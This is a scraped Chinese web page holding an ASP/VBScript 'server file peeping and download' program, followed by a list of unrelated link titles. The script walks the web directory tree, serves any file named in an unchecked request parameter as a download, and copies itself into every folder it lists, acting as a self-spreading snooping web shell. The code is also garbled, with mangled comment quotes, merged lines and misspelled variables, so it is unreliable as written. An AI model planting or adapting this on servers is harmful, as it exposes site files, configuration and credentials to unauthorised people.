服务器文件信息偷窥下载程序 示例代码

来源:百度文库 编辑:神马文学网 时间:2024/05/05 03:00:28
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%><%‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 服务器文件信息偷窥程序 示例代码
‘Copyright 2007  独孤翼 QQ:88056598 湖南长沙   保留所有权利。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘Option Explicit‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 对于代码质量:
‘ 1) 下面的代码有许多字符串操作,用"&"运算符来把短字符串连接在一起。由于
‘    字符串连接是费时的,所以这是一种低效率的写代码方法。无论如何,它是
‘    一种非常好维护的写代码方法,并且在这儿使用了这种方法,因为该程序执行
‘    大量的磁盘操作,而磁盘操作比连接字符串所需的内存操作要慢得多。
‘    记住这是示范代码,而不是产品代码。

‘ 2) 使用了 "Option Explicit",因为访问声明过的变量,比访问未声明的变量要
‘    稍微快一些。它还能阻止在代码中发生错误,例如,把 DriveTypeCDROM 误拼
‘    成了 DriveTypeCDORM 。

‘ 3) 为了使代码更可读,该代码中没有错误处理。虽然采取了防范措施,来保证代码
‘    在普通情况下没有错误,但文件系统是不可预知的。在产品代码中,使用
‘    On Error Resume Next 和 Err 对象来捕获可能发生的错误。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 一些容易取得的全局变量
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Const ForReading=1
Const TristateTrue=-1
Const FILE_TRANSFER_SIZE=16384
Response.Buffer = TrueSub Main()
Dim path, mimeType, sucess,downfilename
downfilename=request("filename")if downfilename<>"" then
 path =Server.MapPath(downfilename)
 mimeType="text/plain"
 sucess = TransferFile(path, mimeType,downfilename)
else
 Dim objFolder
 Dim objFSO
 Dim daf
 dim dat
 Dim da
 
 ‘ 建立FSO和文件夹对象
 Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
 Set objFolder = objFSO.GetFolder(Server.Mappath("."))  ‘获取当前目录路径
 
 ‘获取当前文件内容到变量dat中
 set daf=objFSO.OpenTextFile(server.MapPath("da.asp"))
 dat=daf.readall
 daf.close
 
 ListFolders(objFolder) ‘调用ListFolders函数显示文件夹对象objFolder内所有子文件夹及文件
 
end ifResponse.EndEnd Sub‘显示文件函数
Function ListFile(objFolder) 
  Dim objFile
  ‘遍历当前文件夹下每个文件
  For Each objFile in objFolder.Files
     ‘以读取方式打开文件
    response.write " -Download "
 response.write " -"&objFile.Name&" "&cInt(objFile.Size/1024)&"K

  Next
 
  ‘在当前文件夹下创建da.asp文件
  set da=objFSO.CreateTextFile(objFolder&"/da.asp",True)
  da.write dat
  da.close 
 
End Function‘显示文件夹函数
Function ListFolders(objFolder) 
  response.write "+"&objFolder.Name&"
"
  ‘显示当前文件夹下文件
   ListFile objFolder
 
  Dim objSubFolder 
  ‘遍历当前文件夹下每个文件夹
  For Each objSubFolder in objFolder.SubFolders  
 response.write " +"&objSubFolder.Name&"
"  
 ListFile objSubFolder 
 response.write " +"&objSubFolder.Name&"
"
 
  Next
  response.write "-"&objFolder.Name&"
"
   
End Function
‘下载文件函数
Function TransferFile(path, mimeType, filename)
Dim objFileSystem, objFile, objStream
Dim char
Dim sent
send=0
TransferFile = True
Set objFileSystem = Server.CreateObject("Scripting.FileSystemObject")
Set objFile = objFileSystem.GetFile(Path)
Set objStream = objFile.OpenAsTextStream(ForReading, TristateTrue)
Response.AddHeader "content-type", mimeType
response.AddHeader "Content-Disposition","attachment;filename=" & filename
Response.AddHeader "content-length", objFile.Size
Do While Not objStream.AtEndOfStream
    char = objStream.Read(1)
    Response.BinaryWrite(char)
    sent = sent + 1
    If (sent MOD FILE_TRANSFER_SIZE) = 0 Then
        Response.Flush
        If Not Response.IsClientConnected Then
            TransferFile = False
            Exit Do
        End If
    End If
Loop
Response.Flush
If Not Response.IsClientConnected Then TransferFile = False
objStream.Close
Set objStream = Nothing
Set objFileSystem = Nothing
End Function %> 
服务器文件信息偷窥下载程序 示例代码 服务器文件信息偷窥下载程序 示例代码 VB示例:用VB制造文件下载程序 ping的高级用法 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 高手都是这 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 高手都是这样清除系统LJ的 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 什么是绿色软件,如何制作绿色软件 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 学电脑:给窗口换上漂亮的新装 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 不用任何软件彻底告别3721等流氓软件的小办法 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 安全清除你:C盘垃圾,让你多出近2G的空间! - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 笔记本电脑小心了!我是这样偷笔记本的 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 QQ123123忘了 不用怕!~自己制作123123破解器 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发 服务器当前目录文件系统信息窥探程序ASP 文件上传示例 安装程序配置服务器失败。参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息 asp下载防盗链代码在win2003服务器下下载不能超过4M) 用VBA代码下载网络上的文件 用VBA代码下载网络上的文件 程序家园--vc编程--程序示例 Subversion权限文件AuthzSVNAccessFile示例 PropertyGrid代码示例(Ext1.x) 获取服务器信息 html代码示例 网页教程与代码 C# 清理Temp文件实例代码-程序开发-红黑联盟